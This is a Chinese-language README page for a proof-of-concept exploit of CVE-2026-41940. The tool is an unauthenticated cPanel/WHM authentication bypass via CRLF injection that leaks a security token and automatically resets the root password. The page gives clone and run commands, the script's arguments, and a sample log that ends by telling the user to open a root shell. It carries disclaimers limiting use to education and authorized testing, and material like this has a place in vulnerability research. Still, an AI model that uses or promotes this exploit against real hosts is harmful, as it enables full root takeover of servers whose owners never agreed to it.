CVE-2026-41940 自动利用

概述

CVE-2026-41940 是一个针对 cPanel/WHM 的概念验证（PoC）利用程序。
该利用程序演示了利用 CRLF 注入实现未认证身份验证绕过，从而泄露安全令牌并获得 WHM 界面的 root 级访问权限，可执行更改 root 密码等操作。

免责声明： 此 PoC 仅用于教育目的。请勿在未经许可的系统上使用。

功能特性

主机名自动发现：自动识别规范主机名，以绕过 Host 头限制。
预认证会话铸造：生成有效的初始会话用于注入。
CRLF 注入：利用请求头中的注入漏洞泄露 cp_security_token。
会话传播：强制将泄露的令牌写入服务器的认证缓存。
Root 密码重置：成功绕过认证后自动更改 WHM root 密码。
依赖极少：仅需标准 requests 库即可运行。

安装

克隆仓库：

git clone https://github.com/Rosemary1337/CVE-2026-41940.git
cd CVE-2026-41940

安装依赖：

pip install requests

依赖要求：requests、urllib3

使用方法

python3 CVE_2026_41940.py --target <目标URL> --password <新密码>

示例：

python3 CVE_2026_41940.py --target https://target.com:2087 --password MyNewRootPass123!

参数

输出

控制台显示：

状态消息 [0-4]
成功 [+]
失败 [!]
信息 [*]

示例：

[0] hostname = target.local
[1] minting a preauth session...
    session base = :XLNfFj4XjKuS4f9V
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
    HTTP 307, leaked token = /cpsess0555762073
[3] firing do_token_denied to propagate raw -> cache...
    HTTP 401, gadget fired
[4] verifying we're WHM root...
    /json-api/version -> HTTP 200  {"version":"11.110.0.12"}
[*] changing the root password
    passwd -> HTTP 200
[+] now just login to https://target.com:2087 and use the terminal option to get a root shell

安全与免责声明

仅用于教育与测试目的。
请勿在未经明确许可的情况下攻击网站。
仅在受控实验室或经授权的渗透测试中使用。

`--target`	WHM 目标 URL（例如：https://host:2087）	是	-
`--password`	root 用户的新密码	是	-
`--hostname`	覆盖 Host: 头	否	自动

CVE-2026-41940

最受欢迎

CVE-2026-41940 自动利用

概述

功能特性

安装

使用方法

示例：

参数

输出

安全与免责声明